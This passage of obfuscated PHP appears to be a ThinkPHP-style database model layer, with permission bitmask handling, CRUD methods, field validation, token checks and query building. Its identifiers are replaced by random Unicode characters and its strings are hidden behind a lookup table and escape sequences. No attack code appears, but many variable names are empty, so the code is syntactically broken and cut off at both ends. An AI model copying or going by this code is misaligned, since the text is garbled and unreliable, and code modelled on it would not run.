(!$Ȱ) { return; } $ظ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $Ǖ = array(); foreach ($ظ as $É) { if ($Ȱ & $É) { $Ǖ[] = $É; } } if (in_array(self::AUTH_ROOT, $Ǖ)) { $Ȱ = array_sum($ظ); return; } $Ԫ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($Ǖ as $É) { if (isset($Ԫ[$É])) { $Ǖ = array_merge($Ǖ, $Ԫ[$É]); } } $Ǖ[] = self::AUTH_SHOW; $Ȱ = array_sum(array_unique($Ǖ)); } public function sort($Ԗȫ, $諣) { return parent::update($Ԗȫ, $諣); } } goto a̸; C楝: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\141\x62\154\x65", "\157\x72\x64\145\162", "\141\154\x69\141\x73", "\x68\141\166\151\x6e\x67", "\147\x72\157\165\160", "\154\157\x63\x6b", "\144\x69\x73\x74\x69\156\x63\164", "\x61\x75\164\x6f", "\x66\x69\154\164\145\x72", "\166\x61\x6c\x69\x64\141\x74\x65", "\162\145\163\165\x6c\x74", "\142\x69\156\x64", "\164\157\x6b\145\156"); public function __construct($η = '', $ͥ = '', $Ȏ = '') { $ =& $_SERVER[ö]; $this->_initialize(); if (!empty($η)) { if (strpos($η, $[10])) { list($this->dbName, $this->name) = explode($[10], $η); } else { $this->name = $η; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ͥ)) { $this->tablePrefix = $[12]; } elseif ($[12] != $ͥ) { $this->tablePrefix = $ͥ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[244]); } $this->db(0, empty($this->connection) ? $Ȏ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ڊ =& $_SERVER[ö]; if (empty($this->fields)) { if (think_config($ڊ[245])) { $ = $this->dbName ? $this->dbName : think_config($ڊ[246]); $տ = think_var_cache($ڊ[247] . strtolower(get_path_this($) . $ڊ[10] . $this->name)); if ($տ) { $ɷ = think_config($ڊ[248]); if (empty($ɷ) || $տ[$ڊ[249]] == $ɷ) { $this->fields = $տ; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[ö]; $this->db->setModel($this->name); $ċ = $this->db->getFields($this->getTableName()); if (!$ċ) { return !1; } $this->fields = array_keys($ċ); $this->fields[$[250]] = !1; foreach ($ċ as $ => $) { $ʘ̗[$] = $[$[33]]; if ($[$[39]]) { $this->fields[$[251]] = $; if ($[$[42]]) { $this->fields[$[250]] = !0; } } } $this->fields[$[252]] = $ʘ̗; if (think_config($[248])) { $this->fields[$[249]] = think_config($[248]); } if (think_config($[245])) { $ܕ = $this->dbName ? $this->dbName : think_config($[246]); think_var_cache($[247] . strtolower(get_path_this($ܕ) . $[10] . $this->name), $this->fields); } } public function switchModel($零, $މ = array()) { $ =& $_SERVER[ö]; $ڹ = ucwords(strtolower($零)) . $[253]; if (!class_exists($ڹ)) { think_exception($ڹ . think_lang($[254])); } $this->_extModel = new $ڹ($this->name); if (!empty($މ)) { foreach ($މ as $Ȧ) { $this->_extModel->setProperty($Ȧ, $this->{$Ȧ}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($ܽ) { return isset($this->data[$ܽ]) ? $this->data[$ܽ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($«ʯ) { unset($this->data[$«ʯ]); } public function __call($ؚ, $) { $ =& $_SERVER[ö]; if (in_array(strtolower($ؚ), $this->methods, !0)) { $this->options[strtolower($ؚ)] = $[0]; return $this; } elseif (in_array(strtolower($ؚ), array($[255], $[256], $[257], $[258], $[259]), !0)) { $ؖ۹ = isset($[0]) ? $[0] : $[188]; $ؖ۹ = $this->db->parseKey($ؖ۹); return $this->getField(strtoupper($ؚ) . $[260] . $ؖ۹ . $[261] . $ؚ, $[255]); } elseif (strtolower(substr($ؚ, 0, 5)) == $[262]) { $ؖ۹ = think_parse_name(substr($ؚ, 5)); $[$ؖ۹] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($ؚ, 0, 10)) == $[263]) { $Ƕ = think_parse_name(substr($ؚ, 10)); $[$Ƕ] = $[0]; return $this->where($)->getField($[1]); } elseif (isset($this->_scope[$ؚ])) { return $this->scope($ؚ, $[0]); } elseif (method_exists($this, $ؚ)) { array_unshift($, $ؚ); return call_user_func_array(array($this, $[264]), $); } else { return call_user_func_array(array(parent, $ؚ), $); } } protected function call() { $ =& $_SERVER[ö]; $ʮ = func_get_args(); $κؓ = array_shift($ʮ); $ = $κؓ; if (is_array($κؓ)) { $ = $κؓ[1]; $κؓ = $κؓ[0]; } $ŵƽ = count($ʮ) - 1; if (isset($ʮ[$ŵƽ]) && $ʮ[$ŵƽ] === $κؓ) { think_exception(__CLASS__ . $[4] . $κؓ . think_lang($[265])); return; } $ʮ[] = $κؓ; if (method_exists($this, $[266])) { $܈̒ = call_user_func_array(array($this, $[267]), array($, $ʮ)); if (!is_null($܈̒) && $܈̒ !== !1) { return $܈̒; } } $ = call_user_func_array(array($this, $κؓ), $ʮ); if (method_exists($this, $[268])) { $܈̒ = call_user_func_array(array($this, $[269]), array($, $ʮ, $)); if ($܈̒) { return $܈̒; } } return $; } protected function _initialize() { } protected function _facade($) { $ܫ =& $_SERVER[ö]; if (!empty($this->fields)) { foreach ($ as $ => $ڂ) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($ڂ)) { $this->_parseType($, $); } } } if (!empty($this->options[$ܫ[270]])) { $ = array_map($this->options[$ܫ[270]], $); unset($this->options[$ܫ[270]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$»̂) { } public function add($ر = '', $҃ = array(), $ֽ = false) { if (empty($ر)) { if (!empty($this->data)) { $ر = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ö][271]); return !1; } } $҃ = $this->_parseOptions($҃); $ر = $this->_facade($ر); if (!1 === $this->_beforeInsert($ر, $҃)) { return !1; } $ = $this->db->insert($ر, $҃, $ֽ); if (!1 !== $) { $ = $this->getLastInsID(); if ($) { $ر[$this->getPk()] = $; $this->_after_insert($ر, $҃); return $; } $this->_after_insert($ر, $҃); } return $; } protected function _beforeInsert(&$ؾ, $) { } protected function _after_insert($, $齱) { } public function addAll($ݔ, $Ğ = array(), $ = false) { $ =& $_SERVER[ö]; if (empty($ݔ)) { $this->error = think_lang($[271]); return !1; } $Ğ = $this->_parseOptions($Ğ); foreach ($ݔ as $冺 => $´) { $ݔ[$冺] = $this->_facade($´); } if (method_exists($this->db, $[272])) { $ը = $this->db->insertAll($ݔ, $Ğ, $); } else { $this->startTrans(); foreach ($ݔ as $冺 => $´) { $ը = $this->db->insert($´, $Ğ, $); } $this->commit(); } if (!1 !== $ը) { $ = $this->getLastInsID(); if ($) { return $; } } return $ը; } public function selectAdd($òГ = '', $ = '', $Ҵ = array()) { $ď =& $_SERVER[ö]; $Ҵ = $this->_parseOptions($Ҵ); if (!1 === ($ = $this->db->selectInsert($òГ ? $òГ : $Ҵ[$ď[273]], $ ? $ : $this->getTableName(), $Ҵ))) { $this->error = think_lang($ď[274]); return !1; } else { return $; } } public function save($Ǻ = '', $ = array()) { $ =& $_SERVER[ö]; if (empty($Ǻ)) { if (!empty($this->data)) { $Ǻ = $this->data; $this->data = array(); } else { $this->error = think_lang($[271]); return !1; } } $Ǻ = $this->_facade($Ǻ); $ = $this->_parseOptions($); $瓫 = $this->getPk(); if (!isset($[$[275]])) { if (isset($Ǻ[$瓫])) { $Ȃ[$瓫] = $Ǻ[$瓫]; $[$[275]] = $Ȃ; unset($Ǻ[$瓫]); } else { $this->error = think_lang($[274]); return !1; } } if (is_array($[$[275]]) && isset($[$[275]][$瓫])) { $Ժ = $[$[275]][$瓫]; } if (!1 === $this->_beforeUpdate($Ǻ, $)) { return !1; } $վ = $this->db->update($Ǻ, $); if (!1 !== $վ) { if (isset($Ժ)) { $Ǻ[$瓫] = $Ժ; } $this->_afterUpdate($Ǻ, $); } return $վ; } protected function _beforeUpdate(&$ֵ, $) { } protected function _afterUpdate($, $) { } public function delete($ = array()) { $ =& $_SERVER[ö]; if (empty($) && empty($this->options[$[275]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ހ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$ހ] = array($[276], $); } else { $[$ހ] = $; } $this->options[$[275]] = $; } $ = $this->_parseOptions(); if (is_array($[$[275]]) && isset($[$[275]][$ހ])) { $ = $[$[275]][$ހ]; } $ = $this->db->delete($); if (!1 !== $) { $Ҹ = array(); if (isset($)) { $Ҹ[$ހ] = $; } $this->_after_delete($Ҹ, $); } return $; } protected function _after_delete($, $) { } public function select($ = array()) { $ =& $_SERVER[ö]; if (is_string($) || is_numeric($)) { $̕ = $this->getPk(); if (strpos($, $[50])) { $蛺[$̕] = array($[276], $); } else { $蛺[$̕] = $; } $this->options[$[275]] = $蛺; } elseif (!1 === $) { $ = $this->_parseOptions(); return $[277] . $this->db->buildSelectSql($) . $[278]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$߶, $〣) { } public function buildSql($ޘ = array()) { $ =& $_SERVER[ö]; $ޘ = $this->_parseOptions($ޘ); return $[277] . $this->db->buildSelectSql($ޘ) . $[278]; } public function optionsValue($ۀ = null) { if (is_null($ۀ)) { return $this->options; } elseif (is_array($ۀ)) { $this->options = array_merge($this->options, $ۀ); } } protected function _parseOptions($ѹ = array()) { $ =& $_SERVER[ö]; if (is_array($ѹ)) { $ѹ = array_merge($this->options, $ѹ); } $this->options = array(); if (!isset($ѹ[$[279]])) { $ѹ[$[279]] = $this->getTableName(); $Ϣω = $this->fields; } else { $Ϣω = $this->getDbFields(); } if (!empty($ѹ[$[280]])) { $ѹ[$[279]] .= $[53] . $ѹ[$[280]]; } $ѹ[$[281]] = $this->name; if (isset($ѹ[$[275]]) && is_array($ѹ[$[275]]) && !empty($Ϣω) && !isset($ѹ[$[282]]) && !isset($ѹ[$[279]])) { foreach ($ѹ[$[275]] as $ => $) { $ = trim($); if (in_array($, $Ϣω, !0)) { if (is_scalar($)) { $this->_parseType($ѹ[$[275]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos($, $[10]) && !1 === strpos($, $[260]) && !1 === strpos($, $[283]) && !1 === strpos($, $[284])) { unset($ѹ[$[275]][$]); } } } $this->_options_filter($ѹ); return $ѹ; } protected function _options_filter(&$㋃Ȑ) { } protected function _parseType(&$, $¼) { $ =& $_SERVER[ö]; if (empty($this->options[$[285]][$[4] . $¼])) { $ = strtolower($this->fields[$[252]][$¼]); if (!1 !== strpos($, $[286])) { } elseif (!1 === strpos($, $[287]) && !1 !== strpos($, $[288])) { $[$¼] = intval($[$¼]); } elseif (!1 !== strpos($, $[289]) || !1 !== strpos($, $[290])) { $[$¼] = floatval($[$¼]); } elseif (!1 !== strpos($, $[291])) { $[$¼] = (bool) $[$¼]; } } } public function find($Ǜ = array()) { $º =& $_SERVER[ö]; if (is_numeric($Ǜ) || is_string($Ǜ)) { $[$this->getPk()] = intval($Ǜ); $this->options[$º[275]] = $; } $this->options[$º[292]] = 1; $Ǜ = $this->_parseOptions(); $Ҡ = $this->db->select($Ǜ); if (!1 === $Ҡ) { return !1; } if (empty($Ҡ)) { return null; } $this->data = $Ҡ[0]; $this->_afterFind($this->data, $Ǜ); if (!empty($this->options[$º[293]])) { return $this->returnResult($this->data, $this->options[$º[293]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ = '') { $ =& $_SERVER[ö]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { case $[294]: return json_encode($); case $[295]: return xml_encode($); } } return $; } public function parseFieldsMap($Ρ㸣, $ф = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ݧ => $) { if ($ф == 1) { if (isset($Ρ㸣[$])) { $Ρ㸣[$ݧ] = $Ρ㸣[$]; unset($Ρ㸣[$]); } } else { if (isset($Ρ㸣[$ݧ])) { $Ρ㸣[$] = $Ρ㸣[$ݧ]; unset($Ρ㸣[$ݧ]); } } } } return $Ρ㸣; } public function setField($÷, $֗쬔 = '') { if (is_array($÷)) { $ = $÷; } else { $[$÷] = $֗쬔; } return $this->save($); } public function setAdd($ۻ, $Ʀŕ = 1) { $ =& $_SERVER[ö]; $ܗ = $ۻ . $[296] . $Ʀŕ; if ($Ʀŕ < 0) { $ܗ = $ۻ . $Ʀŕ; } return $this->setField($ۻ, array($[297], $ܗ)); } public function getField($, $ = null) { $ꮺ =& $_SERVER[ö]; $[$ꮺ[273]] = $; $ = $this->_parseOptions($); $ = trim($); if (strpos($, $ꮺ[50])) { if (!isset($[$ꮺ[292]])) { $[$ꮺ[292]] = is_numeric($) ? $ : $ꮺ[12]; } $ = $this->db->select($); if (!empty($)) { $כ = explode($ꮺ[50], $); $ = array_keys($[0]); $ۜ = array_shift($); $⊮ = array_shift($); $ǣ = array(); $Ց = count($כ); foreach ($ as $א) { $˷ = $א[$ۜ]; if (2 == $Ց) { $ǣ[$˷] = $א[$⊮]; } else { $ǣ[$˷] = is_string($) ? implode($, $א) : $א; } } return $ǣ; } } else { if (!0 !== $) { $[$ꮺ[292]] = is_numeric($) ? $ : 1; } if ($ === $ꮺ[255]) { unset($[$ꮺ[292]]); } $א = $this->db->select($); if (!empty($א)) { if ($ === $ꮺ[255]) { return reset($א[0]); } if (!0 !== $ && 1 == $[$ꮺ[292]]) { return reset($א[0]); } foreach ($א as $) { $߸[] = $[$]; } return $߸; } } return null; } public function create($ر = '', $Ҿ = '') { $ق =& $_SERVER[ö]; if (empty($ر)) { $ر = $_POST; } elseif (is_object($ر)) { $ر = get_object_vars($ر); } if (empty($ر) || !is_array($ر)) { $this->error = think_lang($ق[271]); return !1; } $ر = $this->parseFieldsMap($ر, 0); $Ҿ = $Ҿ ? $Ҿ : (!empty($ر[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ق[273]])) { $Ѧ = $this->options[$ق[273]]; unset($this->options[$ق[273]]); } elseif ($Ҿ == THINK_MODEL_INSERT && isset($this->insertFields)) { $Ѧ = $this->insertFields; } elseif ($Ҿ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $Ѧ = $this->updateFields; } if (isset($Ѧ)) { if (is_string($Ѧ)) { $Ѧ = explode($ق[50], $Ѧ); } if (think_config($ق[298])) { $Ѧ[] = think_config($ق[299]); } foreach ($ر as $ => $) { if (!in_array($, $Ѧ)) { unset($ر[$]); } } } if (!$this->autoValidation($ر, $Ҿ)) { return !1; } if (!$this->autoCheckToken($ر)) { $this->error = think_lang($ق[300]); return !1; } if ($this->autoCheckFields) { $Ѧ = $this->getDbFields(); foreach ($ر as $ => $) { if (!in_array($, $Ѧ)) { unset($ر[$]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $ر[$] = stripslashes($); } } } $this->autoOperation($ر, $Ҿ); $this->data = $ر; return $ر; } public function autoCheckToken($) { $㨶 =& $_SERVER[ö]; if (isset($this->options[$㨶[301]]) && !$this->options[$㨶[301]]) { return !0; } if (think_config($㨶[298])) { $ = think_config($㨶[299]); if (!isset($[$]) || Session::get($)) { return !1; } list($, $) = explode($㨶[11], $[$]); if ($ && Session::get($ . $㨶[10] . $) === $) { Session::remove($ . $㨶[10] . $); return !0; } if (think_config($㨶[302])) { Session::remove($ . $㨶[10] . $); } return !1; } return !0; } public function regex($˽, $®) { $桫 =& $_SERVER[ö]; $䨸 = array($桫[303] => $桫[304], $桫[305] => $桫[306], $桫[307] => $桫[308], $桫[309] => $桫[310], $桫[311] => $桫[312], $桫[313] => $桫[314], $桫[315] => $桫[316], $桫[290] => $桫[317], $桫[318] => $桫[319]); if (isset($䨸[strtolower($®)])) { $® = $䨸[strtolower($®)]; } return preg_match($®, $˽) === 1; } private function autoOperation(&$, $) { $ =& $_SERVER[ö]; if (!empty($this->options[$[320]])) { $Ǿٖ = $this->options[$[320]]; unset($this->options[$[320]]); } elseif (!empty($this->_auto)) { $Ǿٖ = $this->_auto; } if (isset($Ǿٖ)) { foreach ($Ǿٖ as $ڞơ) { if (empty($ڞơ[2])) { $ڞơ[2] = THINK_MODEL_INSERT; } if ($ == $ڞơ[2] || $ڞơ[2] == THINK_MODEL_BOTH) { switch (trim($ڞơ[3])) { case $[321]: case $[322]: $ř = isset($ڞơ[4]) ? (array) $ڞơ[4] : array(); if (isset($[$ڞơ[0]])) { array_unshift($ř, $[$ڞơ[0]]); } if ($[321] == $ڞơ[3]) { $[$ڞơ[0]] = call_user_func_array($ڞơ[1], $ř); } else { $[$ڞơ[0]] = call_user_func_array(array(&$this, $ڞơ[1]), $ř); } break; case $[273]: $[$ڞơ[0]] = $[$ڞơ[1]]; break; case $[323]: if ($[12] === $[$ڞơ[0]]) { unset($[$ڞơ[0]]); } break; case $[324]: default: $[$ڞơ[0]] = $ڞơ[1]; } if (!1 === $[$ڞơ[0]]) { unset($[$ڞơ[0]]); } } } } return $; } protected function autoValidation($, $) { $ =& $_SERVER[ö]; if (!empty($this->options[$[325]])) { $ = $this->options[$[325]]; unset($this->options[$[325]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ӌ => $ǻ) { if (empty($ǻ[5]) || $ǻ[5] == THINK_MODEL_BOTH || $ǻ[5] == $) { if (0 == strpos($ǻ[2], $[326]) && strpos($ǻ[2], $[327])) { $ǻ[2] = think_lang(substr($ǻ[2], 2, -1)); } $ǻ[3] = isset($ǻ[3]) ? $ǻ[3] : THINK_EXISTS_VALIDATE; $ǻ[4] = isset($ǻ[4]) ? $ǻ[4] : $[328]; switch ($ǻ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $ǻ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($[$ǻ[0]])) { if (!1 === $this->_validationField($, $ǻ)) { return !1; } } break; default: if (isset($[$ǻ[0]])) { if (!1 === $this->_validationField($, $ǻ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($妤, $䂺) { if (!1 === $this->_validationFieldItem($妤, $䂺)) { if ($this->patchValidate) { $this->error[$䂺[0]] = $䂺[2]; } else { $this->error = $䂺[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $߸ =& $_SERVER[ö]; switch (strtolower(trim($[4]))) { case $߸[321]: case $߸[322]: $⾹ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $߸[50])) { $[0] = explode($߸[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $ܣ) { $Ƌ[$ܣ] = $[$ܣ]; } array_unshift($⾹, $Ƌ); } else { array_unshift($⾹, $[$[0]]); } if ($߸[321] == $[4]) { return call_user_func_array($[1], $⾹); } else { return call_user_func_array(array(&$this, $[1]), $⾹); } case $߸[329]: return $[$[0]] == $[$[1]]; case $߸[330]: if (is_string($[0]) && strpos($[0], $߸[50])) { $[0] = explode($߸[50], $[0]); } $ʍˀ = array(); if (is_array($[0])) { foreach ($[0] as $ܣ) { $ʍˀ[$ܣ] = $[$ܣ]; } } else { $ʍˀ[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $ʍˀ[$this->getPk()] = array($߸[331], $[$this->getPk()]); } if ($this->where($ʍˀ)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $۵, $ǡ = "\162\x65\x67\145\170") { $Ý =& $_SERVER[ö]; $ǡ = strtolower(trim($ǡ)); switch ($ǡ) { case $Ý[7]: case $Ý[332]: $ɴӒ = is_array($۵) ? $۵ : explode($Ý[50], $۵); return $ǡ == $Ý[7] ? in_array($, $ɴӒ) : !in_array($, $ɴӒ); case $Ý[333]: case $Ý[334]: if (is_array($۵)) { $ = $۵[0]; $ȇ = $۵[1]; } else { list($, $ȇ) = explode($Ý[50], $۵); } return $ǡ == $Ý[333] ? $ >= $ && $ <= $ȇ : $ < $ || $ > $ȇ; case $Ý[335]: case $Ý[336]: return $ǡ == $Ý[335] ? $ == $۵ : $ != $۵; case $Ý[337]: $ = mb_strlen($, $Ý[338]); if (strpos($۵, $Ý[50])) { list($, $ȇ) = explode($Ý[50], $۵); return $ >= $ && $ <= $ȇ; } else { return $ == $۵; } case $Ý[339]: list($, $ӝ) = explode($Ý[50], $۵); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($ӝ)) { $ӝ = strtotime($ӝ); } return NOW_TIME >= $ && NOW_TIME <= $ӝ; case $Ý[340]: return in_array(get_client_ip(), explode($Ý[50], $۵)); case $Ý[341]: return !in_array(get_client_ip(), explode($Ý[50], $۵)); case $Ý[328]: default: return $this->regex($, $۵); } } public function query($ʑ, $Ơ = false) { $ =& $_SERVER[ö]; if (!is_bool($Ơ) && !is_array($Ơ)) { $Ơ = func_get_args(); array_shift($Ơ); } $ʑ = str_replace(array($[231], $[342]), $[53], $ʑ); $ʑ = $this->parseSql($ʑ, $Ơ); return $this->db->query($ʑ); } public function execute($, $Ř = false) { if (!is_bool($Ř) && !is_array($Ř)) { $Ř = func_get_args(); array_shift($Ř); } $ = $this->parseSql($, $Ř); return $this->db->execute($); } protected function parseSql($⭭, $) { $ =& $_SERVER[ö]; if (!0 === $) { $ = $this->_parseOptions(); $⭭ = $this->db->parseSql($⭭, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[343]), $); $⭭ = vsprintf($⭭, $); } else { $⭭ = strtr($⭭, array($[344] => $this->getTableName(), $[345] => think_config($[244]))); } $this->db->setModel($this->name); return $⭭; } public function db($Ȉ = '', $ = '', $ߨ = array()) { $έ =& $_SERVER[ö]; if ($έ[12] === $Ȉ && $this->db) { return $this->db; } static $ = array(); static $ن = array(); if (!isset($ن[$Ȉ]) || isset($ن[$Ȉ]) && $ && $[$Ȉ] != $) { if (!empty($) && is_string($) && !1 === strpos($, $έ[8])) { $ = think_config($); } $Ȉ = think_guid($); $ن[$Ȉ] = Db::getInstance($); } elseif (NULL === $) { $ن[$Ȉ]->close(); unset($ن[$Ȉ]); return; } if (!empty($ߨ)) { if (is_string($ߨ)) { parse_str($ߨ, $ߨ); } foreach ($ߨ as $ => $) { $this->setProperty($, $); } } $[$Ȉ] = $; $this->db = $ن[$Ȉ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[ö][346]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $禟 =& $_SERVER[ö]; if (empty($this->trueTableName)) { $ň = !empty($this->tablePrefix) ? $this->tablePrefix : $禟[12]; if (!empty($this->tableName)) { $ň .= $this->tableName; } else { $ň .= think_parse_name($this->name); } $this->trueTableName = strtolower($ň); } return (!empty($this->dbName) ? $this->dbName . $禟[10] : $禟[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ʺ =& $_SERVER[ö]; return isset($this->fields[$ʺ[251]]) ? $this->fields[$ʺ[251]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[ö]; if (isset($this->options[$[279]])) { $ = $this->db->getFields($this->options[$[279]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[250]], $[$[251]], $[$[252]], $[$[249]]); return $; } return !1; } public function data($ = '') { $ =& $_SERVER[ö]; if ($[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[271])); } $this->data = $; return $this; } public function join($Ϳ) { $ =& $_SERVER[ö]; if (is_array($Ϳ)) { $this->options[$[282]] = $Ϳ; } elseif (!empty($Ϳ)) { $this->options[$[282]][] = $Ϳ; } return $this; } public function union($ƣ, $ = false) { $Ʉڜ =& $_SERVER[ö]; if (empty($ƣ)) { return $this; } if ($) { $this->options[$Ʉڜ[347]][$Ʉڜ[348]] = !0; } if (is_object($ƣ)) { $ƣ = get_object_vars($ƣ); } if (is_string($ƣ)) { $ٰ = $ƣ; } elseif (is_array($ƣ)) { if (isset($ƣ[0])) { $this->options[$Ʉڜ[347]] = array_merge($this->options[$Ʉڜ[347]], $ƣ); return $this; } else { $ٰ = $ƣ; } } else { think_exception(think_lang($Ʉڜ[271])); } $this->options[$Ʉڜ[347]][] = $ٰ; return $this; } public function cache($ߢ = true, $ = null, $ = '') { $ =& $_SERVER[ö]; if (!1 !== $ߢ) { $this->options[$[349]] = array($[94] => $ߢ, $[339] => $, $[33] => $); } return $this; } public function field($, $ַ = false) { $ =& $_SERVER[ö]; if (!0 === $) { $ = $this->getDbFields(); $ = $ ? $ : $[188]; } elseif ($ַ) { if (is_string($)) { $ = explode($[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$[273]] = $; return $this; } public function scope($ډ = '', $ = NULL) { $ =& $_SERVER[ö]; if ($[12] === $ډ) { if (isset($this->_scope[$[37]])) { $ď = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($ډ)) { $ = explode($[50], $ډ); $ď = array(); foreach ($ as $۷) { if (!isset($this->_scope[$۷])) { continue; } $ď = array_merge($ď, $this->_scope[$۷]); } if (!empty($) && is_array($)) { $ď = array_merge($ď, $); } } elseif (is_array($ډ)) { $ď = $ډ; } if (is_array($ď) && !empty($ď)) { $this->options = array_merge($this->options, array_change_key_case($ď)); } return $this; } public function where($, $̨ = null) { $ǜ =& $_SERVER[ö]; if (!is_null($̨) && is_string($)) { if (!is_array($̨)) { $̨ = func_get_args(); array_shift($̨); } $̨ = array_map(array($this->db, $ǜ[343]), $̨); $ = vsprintf($, $̨); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ => $ϭ) { if ((is_numeric($) || !$) && is_string($ϭ)) { if (strpos($ϭ, $ǜ[350]) === 0) { continue; } think_trace($ǜ[351], $ǜ[12], $ǜ[49]); die; } } } if (is_string($) && $ǜ[12] != $) { $ʵ = array(); $ʵ[$ǜ[352]] = $; $ = $ʵ; } if (isset($this->options[$ǜ[275]])) { $this->options[$ǜ[275]] = array_merge($this->options[$ǜ[275]], $); } else { $this->options[$ǜ[275]] = $; } return $this; } public function limit($ቷ, $Ϣ = null) { $ =& $_SERVER[ö]; $this->options[$[292]] = is_null($Ϣ) ? $ቷ : $ቷ . $[50] . $Ϣ; return $this; } public function page($ª, $ = null) { $ =& $_SERVER[ö]; $this->options[$[353]] = is_null($) ? $ª : $ª . $[50] . $; return $this; } public function comment($) { $this->options[$_SERVER[ö][354]] = $; return $this; } public function setProperty($س, $) { if (property_exists($this, $س)) { $this->{$س} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\x6f\144\151\146\x79\x54\151\155\145", "\164\x69\x6d\145", "\x69\156\163\145\162\x74\x2c\x75\x70\x64\x61\164\145", "\x66\165\x6e\x63\x74\x69\x6f\x6e"), array("\x63\x72\145\141\x74\x65\x54\x69\x6d\145", "\x74\x69\155\x65", "\151\x6e\x73\x65\x72\164", "\146\x75\x6e\143\164\151\157\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($Ο = '', $߀ = '', $ = '') { parent::__construct($Ο, $߀, $); } protected $tableMeta = array(); protected function _beforeInsert(&$֨, $Ņ) { $䎋 =& $_SERVER[ö]; if (!$this->checkDataAutoHas($䎋[355])) { return; } $this->dataBeforeFilter($֨, $䎋[355]); } protected function _beforeUpdate(&$, $ȷɆ) { $ =& $_SERVER[ö]; if (!$this->checkDataAutoHas($[356])) { return; } $this->dataBeforeFilter($, $[356]); } protected function _afterSelect(&$ጥ, $܁) { if (!is_array($ጥ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ö][357])) { return; } foreach ($ጥ as &$ο) { $this->dataAfterFilter($ο); } unset($ο); } protected function _afterFind(&$ۜ, $) { if (!is_array($ۜ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ö][357])) { return; } $this->dataAfterFilter($ۜ); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[ö][358], function ($ƭ) { return addslashes($ƭ[0]); }, $); return json_decode($); } public static function textDecode($) { $ݳ =& $_SERVER[ö]; $ = json_encode($); $ = preg_replace_callback($ݳ[359], function ($뱐) { return $_SERVER[ö][97]; }, $); return json_decode($); } public 